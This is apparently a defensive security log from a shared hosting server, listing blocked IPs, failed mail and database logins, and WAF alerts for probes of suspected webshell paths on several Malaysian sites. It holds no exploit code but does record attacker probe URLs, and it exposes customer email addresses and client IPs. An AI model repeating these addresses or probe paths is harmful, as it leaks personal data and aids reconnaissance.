IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/residential.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.63.132.166
country_id: 3175395
description:
Jan 13 16:08:48 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.63.132.166 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.219
country_id: 3175395
description:
Jan 13 16:09:02 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.5.30
country_id: 690791
description:
Jan 13 16:08:29 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.5.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.190.74.102
country_id: 3469034
description:
Jan 13 16:08:33 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.190.74.102 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.219
country_id: 3175395
description:
Jan 13 16:09:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.163
country_id: 3175395
description:
Jan 13 16:09:33 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.163 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.62.56
country_id: 953987
description:
Jan 13 16:09:55 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.62.56 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 138.197.167.148
country_id: 6251999
description:
2026-01-13 16:09:55 2530142 [Warning] Aborted connection 2530142 to db: 'unconnected' user: 'unauthenticated' host: '138.197.167.148' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.121
country_id: 2750405
description:
2026-01-13 16:10:01 2530147 [Warning] Aborted connection 2530147 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.121' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 194.39.228.101
country_id: 99237
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=511610 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/m.me/img/druma_photos/awards.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.62.56
country_id: 953987
description:
Jan 13 16:10:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.62.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.137.8
country_id: 1733045
description:
2026-01-13 16:13:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.137.8]:45490: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.137.8
country_id: 1733045
description:
2026-01-13 16:13:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.137.8]:45491: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.137.8
country_id: 1733045
description:
2026-01-13 16:15:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.137.8]:57867: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 101.47.135.225
country_id: 1880251
domain: www.geminiflourmill.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/webdesign.monkeymedia2u.com||User:cabecom||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.121
country_id: 2750405
description:
2026-01-13 16:14:30 2530310 [Warning] Aborted connection 2530310 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.121' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.164.91.67
country_id: 1814991
description:
Jan 13 16:14:31 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.164.91.67 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.164.91.67
country_id: 1814991
description:
2026-01-13 16:14:33 dovecot_login authenticator failed for H=([39.164.91.67]) [39.164.91.67]:49830: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.155.220.149
country_id: 3469034
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/social_english_course.html HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.180.94.14
country_id: 3469034
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/toefl_preparation.html HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.110.242.19
country_id: 3469034
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/primary_school_english.html HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.17.213.162
country_id: 1814991
description:
Jan 13 16:15:38 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.17.213.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.17.213.162
country_id: 1814991
description:
2026-01-13 16:15:40 dovecot_login authenticator failed for H=([111.17.213.162]) [111.17.213.162]:59574: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 66.181.176.229
country_id: 2029969
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/ielts_preparation.html HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.137.8
country_id: 1733045
description:
2026-01-13 16:15:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.137.8]:57869: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.80.226.56
country_id: 783754
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=277285 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.197.236.163
country_id: 6252001
description:
Jan 13 16:16:54 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.197.236.163 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.197.236.163
country_id: 6252001
description:
2026-01-13 16:16:56 dovecot_plain authenticator failed for H=c-73-197-236-163.hsd1.nj.comcast.net (hyotole) [73.197.236.163]:53548: 535 Incorrect authentication data (set_id=admin@ms-chemicals.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.121
country_id: 2750405
description:
2026-01-13 16:17:58 2530472 [Warning] Aborted connection 2530472 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.121' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.40.225.172
country_id: 286963
domain: www.kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kimmark.com/properties.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 77.238.251.212
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-17.77.238.251.212||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.192.207.119
country_id: 798544
description:
Jan 13 16:18:46 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.192.207.119 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.150.246.124
country_id: 3469034
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/cambridge_english.html HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 77.238.251.212
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-18.77.238.251.212||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.235.225.181
country_id: 6252001
description:
Jan 13 16:18:17 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.235.225.181 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.235.225.181
country_id: 6252001
description:
2026-01-13 16:18:19 dovecot_plain authenticator failed for H=c-71-235-225-181.hsd1.ct.comcast.net (haranta) [71.235.225.181]:35802: 535 Incorrect authentication data (set_id=tankimmeng@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 16:19:35 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.134.225
country_id: 1269750
description:
Jan 13 16:19:40 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.134.225 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.54
country_id: 1269750
description:
2026-01-13 16:20:36 dovecot_login authenticator failed for H=(nsg-corporate-54.234.187.122.airtel.in) [122.187.234.54]:47337: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.5.68
country_id: 2395170
description:
Jan 13 16:20:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.5.68 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.234.54
country_id: 1269750
description:
Jan 13 16:20:34 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.234.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.92.186.101
country_id: 614540
description:
Jan 13 16:20:49 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.92.186.101 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.209.1
country_id: 1733045
description:
2026-01-13 16:21:03 dovecot_login authenticator failed for H=([183.171.209.1]) [183.171.209.1]:44184: 535 Incorrect authentication data (set_id=safuddin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.171.209.1
country_id: 1733045
description:
Jan 13 16:21:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.171.209.1 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.70.52.180
country_id: 3469034
domain: www.kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kimmark.com/ritzleder.php?id=23&sub=6 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.165
country_id: 3865483
description:
Jan 13 16:21:31 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.165 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.241.27
country_id: 1733045
description:
[2026-01-13 16:21:42 +0800] info [webmaild] 27.125.241.27 - jlpom@ajplantations.com.my "POST /cpsess0058041653/3rdparty/roundcube/?_task=mail&_remote=1&_from=compose&_id=510548620696600803f9d5&_uploadid=upload1768292504511&_action=upload HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.241.117] != Current IP Address [27.125.241.27]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.241.141
country_id: 1733045
description:
[2026-01-13 16:22:03 +0800] info [webmaild] 27.125.241.141 - jlpom@ajplantations.com.my "GET /cpsess5630179490/3rdparty/roundcube/?_task=mail&_mbox=INBOX&login=1&post_login=5177453406789 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.241.27] != Current IP Address [27.125.241.141]


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.74.249
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-22.92.71.74.249||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 16:23:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:60166: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/images/img/photos/index.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.155.167.219
country_id: 163843
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/myclabs/deep-copy/fixtures/f006/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 16:24:07 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 161.142.152.128
country_id: 1733045
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/flag/12/60/1200060 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 16:23:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:60168: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.242.219.58
country_id: 1210997
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/myclabs/deep-copy/fixtures/f006 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.241.117
country_id: 1733045
description:
[2026-01-13 16:23:11 +0800] info [webmaild] 27.125.241.117 - jlpom@ajplantations.com.my "GET /cpsess2226752447/3rdparty/roundcube/?_task=mail&_action=getunread&_page=1&_remote=1&_unlock=0&_=1768292593155 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.241.162] != Current IP Address [27.125.241.117]


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/images/img/druma_photos/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.28
country_id: 3175395
description:
Jan 13 16:25:18 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.28 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.196.111.54
country_id: 798544
description:
Jan 13 16:25:36 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.196.111.54 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/images/home/druma.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 16:26:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55681: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.227.99.249
country_id: 3469034
description:
Jan 13 16:26:19 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.227.99.249 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.209.243.5
country_id: 3469034
description:
Jan 13 16:26:37 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.209.243.5 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 16:26:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55682: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 16:29:50 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 5.35.68.141
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-29.5.35.68.141||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.110.84.109
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-29.89.110.84.109||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.177.200.231
country_id: 3865483
description:
Jan 13 16:31:03 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.177.200.231 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.197.255.224
country_id: 3996063
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/index.php?route=product/product&product_id=374 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.197.255.224
country_id: 3996063
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/?route=product/product&product_id=374 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.204.150.164
country_id: 2017370
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/?route=product/category&path=35&limit=100 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.204.150.164
country_id: 2017370
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/index.php?route=product/category&path=35&limit=100 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.177.200.231
country_id: 3865483
description:
Jan 13 16:31:11 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.177.200.231 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/images/images/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.231.35.12
country_id: 798544
description:
Jan 13 16:33:04 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.231.35.12 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 75.115.213.55
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-32.75.115.213.55||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.98
country_id: 798544
description:
Jan 13 16:33:22 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.98 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.231.35.12
country_id: 798544
description:
Jan 13 16:33:11 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.231.35.12 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.132.248.149
country_id: 1733045
description:
[2026-01-13 16:35:08 +0800] info [webmaild] 115.132.248.149 - admin@aire-fresh.com "GET /cpsess4391916755/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.82.40.167
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=235857 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.84.125.83
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-35.91.84.125.83||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.221.115.9
country_id: 3625428
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=794941 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.19.119.252
country_id: 798544
description:
Jan 13 16:38:07 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.19.119.252 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.19.119.252
country_id: 798544
description:
Jan 13 16:38:14 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.19.119.252 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.139.180.120
country_id: 3175395
description:
Jan 13 16:38:26 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.139.180.120 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.70.69.206
country_id: 3469034
description:
Jan 13 16:38:36 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.70.69.206 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.96.157.133
country_id: 3865483
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=708804 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.97.251.240
country_id: 798544
description:
Jan 13 16:39:27 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.97.251.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.241.224
country_id: 798544
description:
Jan 13 16:39:45 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.241.224 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/malaysia-infinity-design-projects/residential/img/druma_photos/about.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.124.56.62
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8&page_id=7 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.137.8
country_id: 1733045
description:
2026-01-13 16:41:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.137.8]:45493: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.46.68.237
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phpunit/php-code-coverage/LICENSE HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.182.46.173
country_id: 953987
